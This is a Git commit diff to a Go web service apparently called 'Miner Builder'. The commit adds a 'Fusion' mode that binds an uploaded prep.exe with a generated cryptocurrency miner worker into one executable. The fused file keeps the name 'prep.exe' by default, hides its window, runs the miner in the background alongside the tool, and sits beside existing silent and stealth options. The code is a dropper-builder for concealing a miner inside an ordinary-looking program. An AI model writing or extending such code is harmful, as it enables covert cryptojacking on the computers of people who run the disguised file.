Add Fusion builder mode to bundle prep.exe with worker.
Upload prep.exe in the Builder to produce a single fused output that runs your prep tool and embeds the miner worker on first launch.
This commit is contained in:
@@ -5,6 +5,7 @@ import (
|
||||
"fmt"
|
||||
"io"
|
||||
"log"
|
||||
"mime/multipart"
|
||||
"net/http"
|
||||
"os"
|
||||
"os/exec"
|
||||
@@ -51,17 +52,22 @@ type BuildRequest struct {
|
||||
PoolPort int `json:"pool_port"`
|
||||
PoolTLS bool `json:"pool_tls"`
|
||||
PoolPass string `json:"pool_pass"`
|
||||
FusionEnabled bool `json:"fusion_enabled"`
|
||||
FusionRunOrder string `json:"fusion_run_order"`
|
||||
FusionOutputName string `json:"fusion_output_name"`
|
||||
}
|
||||
|
||||
type BuildResponse struct {
|
||||
Success bool `json:"success"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
FileName string `json:"file_name,omitempty"`
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
RelativePath string `json:"relative_path,omitempty"`
|
||||
FileSize int64 `json:"file_size,omitempty"`
|
||||
DownloadURL string `json:"download_url,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
Success bool `json:"success"`
|
||||
BuildID string `json:"build_id,omitempty"`
|
||||
FileName string `json:"file_name,omitempty"`
|
||||
FilePath string `json:"file_path,omitempty"`
|
||||
RelativePath string `json:"relative_path,omitempty"`
|
||||
FileSize int64 `json:"file_size,omitempty"`
|
||||
DownloadURL string `json:"download_url,omitempty"`
|
||||
FusionEnabled bool `json:"fusion_enabled,omitempty"`
|
||||
WorkerFile string `json:"worker_file,omitempty"`
|
||||
Error string `json:"error,omitempty"`
|
||||
}
|
||||
|
||||
type Handler struct {
|
||||
@@ -93,17 +99,58 @@ func (h *Handler) ServeHTTP(w http.ResponseWriter, r *http.Request) {
|
||||
}
|
||||
|
||||
var req BuildRequest
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||||
return
|
||||
var prepPath string
|
||||
var cleanupPrep func()
|
||||
|
||||
contentType := r.Header.Get("Content-Type")
|
||||
if strings.HasPrefix(contentType, "multipart/form-data") {
|
||||
if err := r.ParseMultipartForm(150 << 20); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid multipart form"})
|
||||
return
|
||||
}
|
||||
configJSON := r.FormValue("config")
|
||||
if configJSON == "" {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Missing config field"})
|
||||
return
|
||||
}
|
||||
if err := json.Unmarshal([]byte(configJSON), &req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid config JSON"})
|
||||
return
|
||||
}
|
||||
file, header, err := r.FormFile("prep_exe")
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion requires prep_exe file upload"})
|
||||
return
|
||||
}
|
||||
defer file.Close()
|
||||
saved, remove, err := h.saveUploadedPrep(file, header)
|
||||
if err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
}
|
||||
prepPath = saved
|
||||
cleanupPrep = remove
|
||||
} else {
|
||||
if err := json.NewDecoder(r.Body).Decode(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Invalid request body"})
|
||||
return
|
||||
}
|
||||
}
|
||||
|
||||
if cleanupPrep != nil {
|
||||
defer cleanupPrep()
|
||||
}
|
||||
|
||||
if err := h.normalizeRequest(&req); err != nil {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: err.Error()})
|
||||
return
|
||||
}
|
||||
if req.FusionEnabled && prepPath == "" {
|
||||
writeJSON(w, http.StatusBadRequest, BuildResponse{Success: false, Error: "Fusion enabled but no prep.exe uploaded"})
|
||||
return
|
||||
}
|
||||
|
||||
resp, status, outputPath := h.buildAgent(&req)
|
||||
resp, status, outputPath := h.buildAgent(&req, prepPath)
|
||||
if !resp.Success {
|
||||
writeJSON(w, status, resp)
|
||||
return
|
||||
@@ -135,7 +182,7 @@ func (h *Handler) DownloadBuild(w http.ResponseWriter, r *http.Request) {
|
||||
http.ServeFile(w, r, build.FilePath)
|
||||
}
|
||||
|
||||
func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
||||
func (h *Handler) buildAgent(req *BuildRequest, prepPath string) (BuildResponse, int, string) {
|
||||
buildID := uuid.New().String()
|
||||
buildDir, _ := filepath.Abs(filepath.Join(h.dataDir, "builds", buildID))
|
||||
agentDir := filepath.Join(buildDir, "agent")
|
||||
@@ -157,11 +204,14 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
||||
return BuildResponse{Success: false, Error: "Failed to write built-in config"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
outputName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, outputName))
|
||||
workerName := fmt.Sprintf("install-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
if req.FusionEnabled {
|
||||
workerName = fmt.Sprintf("worker-%s.exe", sanitizeFileName(req.WorkerName))
|
||||
}
|
||||
outputPath, _ := filepath.Abs(filepath.Join(buildDir, workerName))
|
||||
|
||||
ldflags := "-s -w -trimpath"
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode {
|
||||
if req.DisplayMode == "silent" || req.DisplayMode == "background" || req.SilentMode || req.StealthMode || req.FusionEnabled {
|
||||
ldflags += " -H windowsgui"
|
||||
}
|
||||
|
||||
@@ -179,15 +229,29 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
||||
return BuildResponse{Success: false, Error: fmt.Sprintf("Build failed: %s", strings.TrimSpace(string(output)))}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(outputPath)
|
||||
finalPath := outputPath
|
||||
finalName := workerName
|
||||
var fusionEnabled bool
|
||||
|
||||
if req.FusionEnabled {
|
||||
fusedPath, err := h.buildFusion(buildDir, prepPath, outputPath, req.FusionOutputName, req.FusionRunOrder)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: err.Error()}, http.StatusInternalServerError, ""
|
||||
}
|
||||
finalPath = fusedPath
|
||||
finalName = filepath.Base(fusedPath)
|
||||
fusionEnabled = true
|
||||
}
|
||||
|
||||
fileInfo, err := os.Stat(finalPath)
|
||||
if err != nil {
|
||||
return BuildResponse{Success: false, Error: "Build succeeded but file not found"}, http.StatusInternalServerError, ""
|
||||
}
|
||||
|
||||
absPath, _ := filepath.Abs(outputPath)
|
||||
absPath, _ := filepath.Abs(finalPath)
|
||||
relPath, _ := filepath.Rel(h.projectRoot, absPath)
|
||||
if relPath == "" || strings.HasPrefix(relPath, "..") {
|
||||
relPath = filepath.Join(h.dataDir, "builds", buildID, outputName)
|
||||
relPath = filepath.Join(h.dataDir, "builds", buildID, finalName)
|
||||
}
|
||||
|
||||
buildRecord := &models.BuildRecord{
|
||||
@@ -209,14 +273,16 @@ func (h *Handler) buildAgent(req *BuildRequest) (BuildResponse, int, string) {
|
||||
}
|
||||
|
||||
return BuildResponse{
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: outputName,
|
||||
FilePath: absPath,
|
||||
RelativePath: relPath,
|
||||
FileSize: fileInfo.Size(),
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
|
||||
}, http.StatusOK, outputPath
|
||||
Success: true,
|
||||
BuildID: buildID,
|
||||
FileName: finalName,
|
||||
FilePath: absPath,
|
||||
RelativePath: relPath,
|
||||
FileSize: fileInfo.Size(),
|
||||
DownloadURL: fmt.Sprintf("/api/v1/builds/%s/download", buildID),
|
||||
FusionEnabled: fusionEnabled,
|
||||
WorkerFile: workerName,
|
||||
}, http.StatusOK, finalPath
|
||||
}
|
||||
|
||||
func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
@@ -308,9 +374,52 @@ func (h *Handler) normalizeRequest(req *BuildRequest) error {
|
||||
if req.PoolPass == "" {
|
||||
req.PoolPass = "x"
|
||||
}
|
||||
if req.FusionEnabled {
|
||||
if req.FusionOutputName == "" {
|
||||
req.FusionOutputName = "prep.exe"
|
||||
}
|
||||
if req.FusionRunOrder == "" {
|
||||
req.FusionRunOrder = "parallel"
|
||||
}
|
||||
if req.DisplayMode == "" || req.DisplayMode == "visible" {
|
||||
req.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func (h *Handler) saveUploadedPrep(file multipart.File, header *multipart.FileHeader) (string, func(), error) {
|
||||
if header == nil || header.Size == 0 {
|
||||
return "", nil, fmt.Errorf("prep.exe upload is empty")
|
||||
}
|
||||
if header.Size > 150<<20 {
|
||||
return "", nil, fmt.Errorf("prep.exe exceeds 150MB limit")
|
||||
}
|
||||
name := strings.ToLower(header.Filename)
|
||||
if !strings.HasSuffix(name, ".exe") {
|
||||
return "", nil, fmt.Errorf("prep upload must be a .exe file")
|
||||
}
|
||||
|
||||
dir, err := os.MkdirTemp(filepath.Join(h.dataDir, "preps"), "upload-*")
|
||||
if err != nil {
|
||||
return "", nil, err
|
||||
}
|
||||
dest := filepath.Join(dir, "prep.exe")
|
||||
out, err := os.Create(dest)
|
||||
if err != nil {
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
if _, err := io.Copy(out, file); err != nil {
|
||||
out.Close()
|
||||
os.RemoveAll(dir)
|
||||
return "", nil, err
|
||||
}
|
||||
out.Close()
|
||||
cleanup := func() { _ = os.RemoveAll(dir) }
|
||||
return dest, cleanup, nil
|
||||
}
|
||||
|
||||
func (h *Handler) generateBuiltinConfig(buildID string, req *BuildRequest) string {
|
||||
return fmt.Sprintf(`// Code generated by Miner Builder - DO NOT EDIT
|
||||
// Build ID: %s
|
||||
|
||||
Reference in New Issue
Block a user